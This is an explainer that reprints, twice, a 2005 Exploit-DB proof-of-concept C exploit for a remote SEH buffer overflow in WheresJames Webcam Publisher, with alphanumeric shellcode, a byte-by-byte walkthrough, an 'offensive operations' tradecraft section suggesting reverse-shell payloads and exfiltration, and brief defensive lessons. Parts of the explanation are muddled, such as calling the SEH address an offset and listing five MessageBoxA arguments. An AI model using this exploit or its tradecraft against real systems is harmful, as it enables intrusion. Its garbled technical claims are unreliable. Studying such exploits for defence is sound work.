WheresJames Webcam Publisher Beta 2.0.0014 Remote Buffer Overflow Explained

WheresJames Webcam Publisher Beta 2.0.0014 Remote Buffer Overflow Explained
What this paper is
This paper details a Proof-of-Concept (POC) exploit for a buffer overflow vulnerability in WheresJames Webcam Publisher Beta version 2.0.0014. The vulnerability allows an attacker to remotely crash the application or, more critically, execute arbitrary code by sending a specially crafted HTTP GET request. The exploit targets a specific offset in the buffer to overwrite a Structured Exception Handler (SEH) record, redirecting execution to a custom shellcode.
Simple technical breakdown
The WheresJames Webcam Publisher application likely has a network service that listens for incoming HTTP requests. When it receives a GET request, it copies data from the request into a fixed-size buffer on the stack. If the data is larger than the buffer, it overflows, overwriting adjacent memory.
The exploit crafts a GET request where the initial part of the request (intended for the URL path) is filled with a large number of 'A' characters. This overflow is designed to:
- Overwrite the return address on the stack.
- Overwrite a Structured Exception Handler (SEH) pointer.
- Place a pointer to custom shellcode at the location of the SEH handler.
When an exception occurs (which the overflow is designed to trigger), the program attempts to use the SEH handler to recover. Because the SEH handler has been overwritten with a pointer to the shellcode, the program jumps to and executes the shellcode.
The shellcode provided is alphanumeric, meaning it consists of printable ASCII characters (between 0x20 and 0x7A). This is a common technique to bypass filters that might block non-printable characters, especially when the overflow buffer itself has character restrictions. The shellcode in this case is designed to pop up a MessageBoxA dialog box.
Complete code and payload walkthrough
The provided C code and shellcode work together to exploit the vulnerability.
C Code Breakdown
/*
* WheresJames Webcam Publisher Beta 2.0.0014 POC (www.wheresjames.com)
*
* Bug and Exploit by : Miguel Tarascó Acuña - Haxorcitos.com 2005
* Tarako AT gmail.com - Tarako AT Haxorcitos.com
*
* Platforms tested:
* - Windows 2000 SP4 Spanish
* - Probably All Windows 2000 versions
*
* Exploit Date: 15/April/2005
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
* Little Explanation:
* Buffer must only have bytes between 0x20 and 0x7A, this limits you to use
* a generic shellcode.
* I created a harcoded MessageBoxA alphanumeric Shellcode to run with this POC
* Also the offset referenced by the Call ECX SEH handler overwriten, must contain
* only bytes between 0x20 and 0x7A
*
* 77F69B9F 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
* 77F69BA2 FFD1 CALL ECX
*
* stack
* 00000000
* 00000000
* XXXXXXXX <-- EBX points to HERE (XX >= 0x20 && XX <= 0x7A)
* YYYYYYYY <-- This DWORD overwrites the SEH handler (the flow is taken in the CALL ECX)
* 00000000
* 00000000
*
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
#define TIMEOUT 1
#define TOPHEADER "GET "
#define MIDDLEHEADER "\nHost: "
#define BOTTOMHEADER "\nUser-Agent: User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
Accept: */*\n\
Accept-Language: es\n\
Accept-Encoding: gzip,deflate\n\
Keep-Alive: 100\n\
Connection: keep-alive\r\n\r\n"
#define BUFFERLEN 5000- Includes and Definitions: Standard Windows Sockets (
winsock2.h), standard input/output (stdio.h), and linking the Winsock library (ws2_32). Defines constants for HTTP headers, buffer length, and timeout. TOPHEADER,MIDDLEHEADER,BOTTOMHEADER: These define parts of the HTTP request.TOPHEADERstarts the request with "GET ".MIDDLEHEADERandBOTTOMHEADERprovide standard HTTP headers likeHost,User-Agent, etc.BUFFERLEN: Defines the maximum size of the buffer used for the exploit payload.
char shellcode[] = // little harcoded alphanumeric "shellcode"
// haaaaX5aaaaP[H-,F3T--F3U5!@z!ShkitohTaraTZSSRSSPÃ
"\x68\x61\x61\x61\x61" // PUSH 61616161 ;
"\x58" // POP EAX ; EAX = 61616161
"\x35\x61\x61\x61\x61" // XOR EAX,61616161 ; EAX = 00000000
"\x50" // PUSH EAX ;
"\x5B" // POP EBX ; EBX = 00000000
"\x48" // DEC EAX ; EAX = FFFFFFFF
"\x2D\x2C\x46\x33\x54" // SUB EAX,5433462C ; EAX = ABCCB9D3
"\x2D\x2D\x46\x33\x55" // SUB EAX,5533462D ; EAX = 569973A6
"\x35\x21\x40\x7A\x21" // XOR EAX,217A4021 ; EAX = 77E33387 USER32.MessageBoxA (Win2kSP4)
"\x53" // PUSH EBX ;
"\x68\x6B\x69\x74\x6F" // PUSH 6F74696B ; ASCII "kito"
"\x68\x54\x61\x72\x61" // PUSH 61726154 ; ASCII "Tara"
"\x54" // PUSH ESP ;
"\x5A" // POP EDX ; ASCII "Tarakito"
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x52" // PUSH EDX ; Tarakito
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x50" // PUSH EAX ; MessageBoxA
"\xC3"; // RETNshellcode[]: This is the core payload. It's a sequence of bytes designed to be executed.\x68\x61\x61\x61\x61(PUSH 0x61616161): Pushes the value 'aaaa' onto the stack.\x58(POP EAX): Pops the top of the stack into EAX. EAX is now0x61616161.\x35\x61\x61\x61\x61(XOR EAX, 0x61616161): XORs EAX with itself. This results in EAX being0x00000000. This is a common technique to obtain a zero value using only printable characters.\x50(PUSH EAX): Pushes the zero value (EAX) onto the stack.\x5B(POP EBX): Pops the zero value from the stack into EBX. EBX is now0x00000000.\x48(DEC EAX): Decrements EAX. EAX was0x00000000, so it becomes0xFFFFFFFF.\x2D\x2C\x46\x33\x54(SUB EAX, 0x5433462C): Subtracts0x5433462Cfrom EAX. EAX becomes0xABCCB9D3.\x2D\x2D\x46\x33\x55(SUB EAX, 0x5533462D): Subtracts0x5533462Dfrom EAX. EAX becomes0x569973A6.\x35\x21\x40\x7A\x21(XOR EAX, 0x217A4021): XORs EAX with0x217A4021. EAX becomes0x77E33387. This is the address ofMessageBoxAinuser32.dllon Windows 2000 SP4. This is the target function.\x53(PUSH EBX): Pushes EBX (which is0x00000000) onto the stack.\x68\x6B\x69\x74\x6F(PUSH 0x6F74696B): Pushes the bytes representing the ASCII string "kito" onto the stack.\x68\x54\x61\x72\x61(PUSH 0x61726154): Pushes the bytes representing the ASCII string "Tara" onto the stack.\x54(PUSH ESP): Pushes the current value of the stack pointer (ESP) onto the stack. ESP points to the beginning of the string "Tara" that was just pushed.\x5A(POP EDX): Pops the value of ESP into EDX. EDX now points to the string "Tarakito" (formed by "Tara" + "kito"). This is the message for MessageBoxA.\x53(PUSH EBX): Pushes EBX (0) onto the stack. This is theuTypeparameter for MessageBoxA (0 means MB_OK).\x53(PUSH EBX): Pushes EBX (0) onto the stack. This is thelpCaptionparameter for MessageBoxA (NULL).\x52(PUSH EDX): Pushes EDX (pointer to "Tarakito") onto the stack. This is thelpTextparameter for MessageBoxA.\x53(PUSH EBX): Pushes EBX (0) onto the stack. This is thehWndparameter for MessageBoxA (NULL).\x53(PUSH EBX): Pushes EBX (0) onto the stack. This is thehInstanceparameter for MessageBoxA (NULL).\x50(PUSH EAX): Pushes EAX (the address ofMessageBoxA) onto the stack.\xC3(RETN): Returns from the current function. Since EAX contains the address ofMessageBoxA, execution jumps toMessageBoxA.
struct { char *name; long offset; } supported[] = {
// 0x72712F5E (clbcatq.dll 2000.2.3511.0) -> 83C108 = ADD ECX,8 + FFD1 = CALL ECX
{"Windows 2000 Pro SP4 Spanish", 0x72712F5E },
{"Crash", 0x41414141 }
},VERSIONES;supported[]: This structure defines different targets for the exploit.name: A descriptive name for the target system/version.offset: This is the crucial value. It represents the distance from the start of the overflowed buffer to the point where the SEH handler's address is stored on the stack. The exploit will overwrite this location with the address of the shellcode. The provided offset0x72712F5Eis likely the address of aCALL ECXinstruction withinclbcatq.dllon Windows 2000 SP4 Spanish, which is used to jump to the overwritten SEH handler. The "Crash" option uses0x41414141('AAAA') which would likely cause a crash if the offset is incorrect.
/******************************************************************************/
void ShowHeader(int argc,char *argv[]) {
int i;
printf("\n WheresJames Webcam Publisher Beta 2.0.0014 Buffer Overflow POC\n");
printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n");
printf("\n Windows Versions:\n");
printf(" ---------------------------------------------\n");
for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
printf(" %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
}
printf(" ---------------------------------------------\n\n");
if (argc<4) {
printf(" Usage: %s <IP> <Port> <Option>\n",argv[0]);
exit(1);
exit(1); // Redundant exit
}
}
/******************************************************************************/ShowHeader(): This function prints introductory information about the exploit, lists the supported targets with their corresponding offsets, and displays usage instructions if the correct number of command-line arguments are not provided.
void main(int argc, char *argv[]) {
SOCKET s;
WSADATA HWSAdata;
struct sockaddr_in sa;
char *buffer=NULL;
ShowHeader(argc,argv);
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) {
printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError());
exit(1);
}
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
printf("\n [e] Error: socket():%d\n", WSAGetLastError());
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(atoi(argv[2]));
sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
printf("\n [e] Error: connect()");
exit(1);
}
printf(" [i] Connected : Yes\n");
printf(" [i] Target : %s\n",supported[atoi(argv[3])].name);
buffer=(char*)malloc(strlen(TOPHEADER)+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+1+strlen(argv[2])+strlen(BOTTOMHEADER)+1);
memset(buffer,0,sizeof(buffer));
memcpy(buffer,TOPHEADER,strlen(TOPHEADER));
memset(buffer+strlen(TOPHEADER),'A',BUFFERLEN);
memcpy(buffer+strlen(TOPHEADER)+1052,&supported[atoi(argv[3])].offset,sizeof(long));
memcpy(buffer+strlen(TOPHEADER)+1060,shellcode,strlen(shellcode));
memcpy(buffer+BUFFERLEN,MIDDLEHEADER,strlen(MIDDLEHEADER));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER),argv[1],strlen(argv[1]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1]),":",strlen(":"));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":"),argv[2],strlen(argv[2]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":")+strlen(argv[2]),BOTTOMHEADER,strlen(BOTTOMHEADER));
send(s,buffer,strlen(buffer),0);
printf(" [i] Buffer sent\n\n");
closesocket(s);
}
// milw0rm.com [2005-04-18]main(): The entry point of the program.- Argument Handling: Takes three command-line arguments: target IP address, target port, and an option number corresponding to the
supportedarray. - Winsock Initialization: Initializes the Windows Sockets API using
WSAStartup. - Socket Creation: Creates a TCP socket using
WSASocket. - Socket Configuration: Sets up the
sockaddr_instructure with the target IP address and port. - Connection: Attempts to connect to the target server using
connect. - Buffer Allocation: Allocates memory for the exploit buffer. The size is calculated to accommodate the HTTP headers, the overflow data, and the target IP/port.
- Buffer Construction:
memcpy(buffer, TOPHEADER, strlen(TOPHEADER));: Starts the buffer with "GET ".memset(buffer+strlen(TOPHEADER),'A',BUFFERLEN);: Fills a large portion of the buffer with 'A' characters. This is the primary overflow data.BUFFERLENis 5000, which is significantly larger than any expected valid URL path.memcpy(buffer+strlen(TOPHEADER)+1052,&supported[atoi(argv[3])].offset,sizeof(long));: This is where the SEH overwrite happens. It copies theoffsetvalue from thesupportedarray into the buffer. The offset1052bytes after the start of theGETheader is where the SEH handler's address is expected to be overwritten. This value (0x72712F5Efor Win2k SP4 Spanish) is the target address for theCALL ECXinstruction.memcpy(buffer+strlen(TOPHEADER)+1060,shellcode,strlen(shellcode));: Places the shellcode immediately after the overwritten SEH handler. The1060offset is1052 + sizeof(long)(which is 4 bytes for alongon most systems). This means the shellcode starts right after the overwritten SEH pointer.- The rest of the
memcpycalls append theHostheader, target IP, port, and other standard HTTP headers to complete the request.
- Sending Data: Sends the constructed buffer to the target server using
send. - Cleanup: Closes the socket using
closesocket.
- Argument Handling: Takes three command-line arguments: target IP address, target port, and an option number corresponding to the
Shellcode Analysis (Byte-by-Byte)
// haaaaX5aaaaP[H-,F3T--F3U5!@z!ShkitohTaraTZSSRSSP
"\x68\x61\x61\x61\x61" // PUSH 0x61616161 ; 'aaaa'
"\x58" // POP EAX ; EAX = 0x61616161
"\x35\x61\x61\x61\x61" // XOR EAX,0x61616161 ; EAX = 0x00000000 (alphanumeric zero)
"\x50" // PUSH EAX ; Push 0
"\x5B" // POP EBX ; EBX = 0x00000000
"\x48" // DEC EAX ; EAX = 0xFFFFFFFF
"\x2D\x2C\x46\x33\x54" // SUB EAX,0x5433462C ; EAX = 0xABCCB9D3
"\x2D\x2D\x46\x33\x55" // SUB EAX,0x5533462D ; EAX = 0x569973A6
"\x35\x21\x40\x7A\x21" // XOR EAX,0x217A4021 ; EAX = 0x77E33387 (Address of MessageBoxA on Win2k SP4)
"\x53" // PUSH EBX ; Push 0 (uType for MessageBoxA)
"\x68\x6B\x69\x74\x6F" // PUSH 0x6F74696B ; Push "kito" (part of message)
"\x68\x54\x61\x72\x61" // PUSH 0x61726154 ; Push "Tara" (part of message)
"\x54" // PUSH ESP ; Push ESP (points to "Tara")
"\x5A" // POP EDX ; EDX = pointer to "Tarakito" (message string)
"\x53" // PUSH EBX ; Push 0 (lpCaption for MessageBoxA)
"\x53" // PUSH EBX ; Push 0 (hWnd for MessageBoxA)
"\x52" // PUSH EDX ; Push pointer to "Tarakito" (lpText for MessageBoxA)
"\x53" // PUSH EBX ; Push 0 (hInstance for MessageBoxA)
"\x50" // PUSH EAX ; Push address of MessageBoxA
"\xC3" // RETN ; Return to MessageBoxAMapping of code fragment/block to practical purpose:
\x68\x61\x61\x61\x61to\x5B]: Alphanumeric Zero Generation: This block is a clever way to generate a0x00000000value using only printable characters. It starts by pushing0x61616161('aaaa'), pops it into EAX, and then XORs EAX with itself. This is crucial because null bytes (\x00) are often problematic in network protocols or string operations.\x48to\x35\x21\x40\x7A\x21: Target Function Address Calculation: This sequence calculates the address ofMessageBoxAinuser32.dll. It starts with0xFFFFFFFFin EAX and performs subtractions and XOR operations with specific values to arrive at0x77E33387(the address on Windows 2000 SP4). This is the core of finding the function to call.\x53(first one) to\x5A]: Message String Preparation: This section prepares the string "Tarakito" for theMessageBoxAfunction. It pushes parts of the string ("kito", "Tara") onto the stack and then usesESPto point to the combined string. This string will be displayed in the message box.\x53(second one) to\x53(fourth one):MessageBoxAParameter Pushing: ThesePUSHinstructions set up the arguments for theMessageBoxAfunction call in the correct order (from right to left):hWnd(Window Handle):0(NULL)lpText(Message Text): Pointer to "Tarakito" (stored in EDX)lpCaption(Window Caption):0(NULL)uType(Message Type):0(MB_OK)
\x50(last one): Function Pointer Push: Pushes the calculated address ofMessageBoxAonto the stack.\xC3: Return to Function: TheRETNinstruction pops the address ofMessageBoxAfrom the stack and jumps to it, effectively executing the message box.
Overall Execution Flow
- The C program connects to the WheresJames Webcam Publisher service.
- It sends a crafted HTTP
GETrequest. - The
GETrequest contains a large buffer of 'A's. - This buffer overflows the application's internal buffer.
- The overflow overwrites the SEH handler's address on the stack with a value that points to the shellcode.
- The overflow also places the shellcode itself on the stack, immediately following the overwritten SEH pointer.
- An exception is triggered (likely by the overflow itself or subsequent operations).
- The application attempts to use the SEH handler to recover.
- Instead of a normal handler, it jumps to the address of the shellcode.
- The shellcode executes, calculating the address of
MessageBoxAand then calling it with the message "Tarakito".
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine's port where WheresJames Webcam Publisher is listening. No local access is required.
- Lab Preconditions:
- A vulnerable WheresJames Webcam Publisher Beta 2.0.0014 instance running on a target Windows machine (e.g., Windows 2000 SP4).
- Network connectivity between the attacker machine and the target machine.
- Firewall rules must allow traffic on the target port.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit code.
- A network scanner (like Nmap) to identify open ports and running services.
- A debugger (like WinDbg) for analyzing crashes and understanding offsets if needed.
- A hex editor for examining network traffic or crafted payloads.
- Execution Pitfalls:
- Offset Mismatch: The
offsetvalue (0x72712F5E) is specific to the tested Windows version and service pack. Different versions or configurations of the target application or OS might have different memory layouts, requiring the offset to be re-evaluated. The "Crash" option (0x41414141) is a good starting point for debugging if the primary offset fails. - Alphanumeric Constraint: The shellcode is alphanumeric (bytes between 0x20 and 0x7A). If the target application's input handling or the overflow buffer itself imposes stricter character restrictions, this shellcode might not work. The original paper notes this limitation.
- Network Instability: Unreliable network connections can lead to incomplete packet transmission, causing the exploit to fail.
- Service Restart: The vulnerable service might restart automatically after a crash, or it might require manual intervention.
- ASLR/DEP: Modern operating systems have protections like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These protections, not present or less robust in Windows 2000, would significantly complicate or prevent this type of exploit. This exploit is highly dependent on the absence of these protections.
- Firewall/IDS: Network-based Intrusion Detection/Prevention Systems (IDS/IPS) might detect the malformed HTTP request or the characteristic shellcode bytes if they were not alphanumeric.
- Offset Mismatch: The
- Tradecraft Considerations:
- Reconnaissance: Identify the exact version of WheresJames Webcam Publisher and the target OS. This is critical for determining the correct offset.
- Stealth: The exploit uses standard HTTP
GETrequests, which might blend in with normal web traffic if the port is standard (e.g., 80). However, the large, malformed payload is a strong indicator. - Payload Customization: The current shellcode pops a message box. For a real-world scenario, a more sophisticated payload (e.g., reverse shell, meterpreter) would be needed. This would require finding alphanumeric shellcode for the desired functionality or finding a way around the alphanumeric constraint.
- Error Handling: The exploit code has basic error handling for network operations. Robustness in a real engagement might require more sophisticated retry mechanisms or fallback strategies.
- Post-Exploitation: If successful, the attacker gains code execution. The next steps would involve privilege escalation, persistence, and data exfiltration, depending on the engagement objectives.
Where this was used and when
- Context: This exploit targets a specific vulnerability in WheresJames Webcam Publisher Beta 2.0.0014. Such software was common in the early 2000s for sharing webcam feeds over a network.
- Timeframe: The exploit was published on April 18, 2005. The vulnerability likely existed prior to this date. Exploits of this nature were prevalent in the early to mid-2000s, targeting older operating systems like Windows 2000 and XP, which lacked modern security mitigations.
- Usage: While this is a POC, it demonstrates a technique that could have been used by malicious actors to gain unauthorized access to systems running the vulnerable software. It's unlikely to be effective against modern, patched systems.
Defensive lessons for modern teams
- Patch Management: The most fundamental lesson is the importance of keeping software and operating systems up-to-date. This vulnerability was patched by updating the WheresJames Webcam Publisher software or by disabling it.
- Network Segmentation: Isolating vulnerable services on separate network segments can limit the blast radius of an exploit.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can detect malformed network requests and known exploit patterns, even with alphanumeric shellcode, by analyzing traffic anomalies and payload characteristics.
- Endpoint Detection and Response (EDR): EDR solutions can detect suspicious process behavior, such as unexpected calls to
MessageBoxAor unusual stack manipulation, even if the initial network exploit is successful. - Security Mitigations: Modern operating systems employ ASLR, DEP, and Control Flow Guard (CFG) to make buffer overflow exploits significantly harder to execute reliably. Understanding these protections is key to modern defense.
- Input Validation: Developers must rigorously validate all user-supplied input, especially data received over a network, to prevent buffer overflows and other injection vulnerabilities.
- Principle of Least Privilege: Running services with the minimum necessary privileges can limit the impact of a successful compromise.
ASCII visual (if applicable)
This exploit involves a network connection and a stack overflow. A simplified visual representation of the stack overflow and redirection can be helpful.
+-----------------------+
| Application |
| Stack |
+-----------------------+
| ... |
+-----------------------+
| Return Address | <-- Overwritten by SEH handler address
+-----------------------+
| SEH Handler | <-- Overwritten by pointer to Shellcode
+-----------------------+ <-- Target for the CALL ECX instruction
| Saved EBP |
+-----------------------+
| Local Variables |
| (e.g., buffer) |
+-----------------------+
| ... |
+-----------------------+
|
| (Exploit sends data)
V
+-----------------------+
| Application |
| Stack |
+-----------------------+
| ... |
+-----------------------+
| 0x72712F5E (CALL ECX) | <-- Overwritten SEH Handler points here
+-----------------------+
| 0x77E33387 (MessageBoxA)| <-- Shellcode starts here, points to MessageBoxA
+-----------------------+
| Saved EBP |
+-----------------------+
| Local Variables |
| (e.g., buffer) |
+-----------------------+
| ... |
+-----------------------+Explanation:
- The top part shows a simplified view of the application's stack before the exploit.
- The
SEH Handlerfield is where the exploit places a pointer to the shellcode. - The
0x72712F5Evalue is the address of aCALL ECXinstruction. When the program tries to use the SEH handler, it will execute thisCALL ECX. SinceECXwill likely be pointing to the shellcode due to the overflow, theCALL ECXeffectively jumps to the shellcode. - The shellcode then executes, finds the address of
MessageBoxA(0x77E33387), and calls it.
Source references
- Paper ID: 944
- Paper Title: WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow
- Author: tarako
- Published: 2005-04-18
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/944
- Raw Exploit URL: https://www.exploit-db.com/raw/944
Original Exploit-DB Content (Verbatim)
/*
* WheresJames Webcam Publisher Beta 2.0.0014 POC (www.wheresjames.com)
*
*
* Bug and Exploit by : Miguel Tarascó Acuña - Haxorcitos.com 2005
* Tarako AT gmail.com - Tarako AT Haxorcitos.com
*
* Platforms tested:
*
* - Windows 2000 SP4 Spanish
* - Probably All Windows 2000 versions
*
*
* Exploit Date: 15/April/2005
*
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* Little Explanation:
*
* Buffer must only have bytes between 0x20 and 0x7A, this limits you to use
* a generic shellcode.
* I created a harcoded MessageBoxA alphanumeric Shellcode to run with this POC
* Also the offset referenced by the Call ECX SEH handler overwriten, must contain
* only bytes between 0x20 and 0x7A
*
* 77F69B9F 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
* 77F69BA2 FFD1 CALL ECX
*
* stack
* 00000000
* 00000000
* XXXXXXXX <-- EBX points to HERE (XX >= 0x20 && XX <= 0x7A)
* YYYYYYYY <-- This DWORD overwrites the SEH handler (the flow is taken in the CALL ECX)
* 00000000
* 00000000
*
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
#define TIMEOUT 1
#define TOPHEADER "GET "
#define MIDDLEHEADER "\nHost: "
#define BOTTOMHEADER "\nUser-Agent: User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
Accept: */*\n\
Accept-Language: es\n\
Accept-Encoding: gzip,deflate\n\
Keep-Alive: 100\n\
Connection: keep-alive\r\n\r\n"
#define BUFFERLEN 5000
char shellcode[] = // little harcoded alphanumeric "shellcode"
// haaaaX5aaaaP[H-,F3T--F3U5!@z!ShkitohTaraTZSSRSSPÃ
"\x68\x61\x61\x61\x61" // PUSH 61616161 ;
"\x58" // POP EAX ; EAX = 61616161
"\x35\x61\x61\x61\x61" // XOR EAX,61616161 ; EAX = 00000000
"\x50" // PUSH EAX ;
"\x5B" // POP EBX ; EBX = 00000000
"\x48" // DEC EAX ; EAX = FFFFFFFF
"\x2D\x2C\x46\x33\x54" // SUB EAX,5433462C ; EAX = ABCCB9D3
"\x2D\x2D\x46\x33\x55" // SUB EAX,5533462D ; EAX = 569973A6
"\x35\x21\x40\x7A\x21" // XOR EAX,217A4021 ; EAX = 77E33387 USER32.MessageBoxA (Win2kSP4)
"\x53" // PUSH EBX ;
"\x68\x6B\x69\x74\x6F" // PUSH 6F74696B ; ASCII "kito"
"\x68\x54\x61\x72\x61" // PUSH 61726154 ; ASCII "Tara"
"\x54" // PUSH ESP ;
"\x5A" // POP EDX ; ASCII "Tarakito"
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x52" // PUSH EDX ; Tarakito
"\x53" // PUSH EBX ; 0
"\x53" // PUSH EBX ; 0
"\x50" // PUSH EAX ; MessageBoxA
"\xC3"; // RETN
struct { char *name; long offset; } supported[] = {
// 0x72712F5E (clbcatq.dll 2000.2.3511.0) -> 83C108 = ADD ECX,8 + FFD1 = CALL ECX
{"Windows 2000 Pro SP4 Spanish", 0x72712F5E },
{"Crash", 0x41414141 }
},VERSIONES;
/******************************************************************************/
void ShowHeader(int argc,char *argv[]) {
int i;
printf("\n WheresJames Webcam Publisher Beta 2.0.0014 Buffer Overflow POC\n");
printf(" Exploit by Miguel Tarasco - Tarako [at] gmail [dot] com\n");
printf("\n Windows Versions:\n");
printf(" ---------------------------------------------\n");
for (i=0;i<sizeof(supported)/sizeof(VERSIONES);i++) {
printf(" %d) %s (0x%08x)\n",i,supported[i].name,supported[i].offset);
}
printf(" ---------------------------------------------\n\n");
if (argc<4) {
printf(" Usage: %s <IP> <Port> <Option>\n",argv[0]);
exit(1);
exit(1);
}
}
/******************************************************************************/
void main(int argc, char *argv[]) {
SOCKET s;
WSADATA HWSAdata;
struct sockaddr_in sa;
char *buffer=NULL;
ShowHeader(argc,argv);
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) {
printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError());
exit(1);
}
if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
printf("\n [e] Error: socket():%d\n", WSAGetLastError());
exit(1);
}
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(atoi(argv[2]));
sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);
if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
printf("\n [e] Error: connect()");
exit(1);
}
printf(" [i] Connected : Yes\n");
printf(" [i] Target : %s\n",supported[atoi(argv[3])].name);
buffer=(char*)malloc(strlen(TOPHEADER)+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+1+strlen(argv[2])+strlen(BOTTOMHEADER)+1);
memset(buffer,0,sizeof(buffer));
memcpy(buffer,TOPHEADER,strlen(TOPHEADER));
memset(buffer+strlen(TOPHEADER),'A',BUFFERLEN);
memcpy(buffer+strlen(TOPHEADER)+1052,&supported[atoi(argv[3])].offset,sizeof(long));
memcpy(buffer+strlen(TOPHEADER)+1060,shellcode,strlen(shellcode));
memcpy(buffer+BUFFERLEN,MIDDLEHEADER,strlen(MIDDLEHEADER));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER),argv[1],strlen(argv[1]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1]),":",strlen(":"));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":"),argv[2],strlen(argv[2]));
memcpy(buffer+BUFFERLEN+strlen(MIDDLEHEADER)+strlen(argv[1])+strlen(":")+strlen(argv[2]),BOTTOMHEADER,strlen(BOTTOMHEADER));
send(s,buffer,strlen(buffer),0);
printf(" [i] Buffer sent\n\n");
closesocket(s);
}
// milw0rm.com [2005-04-18]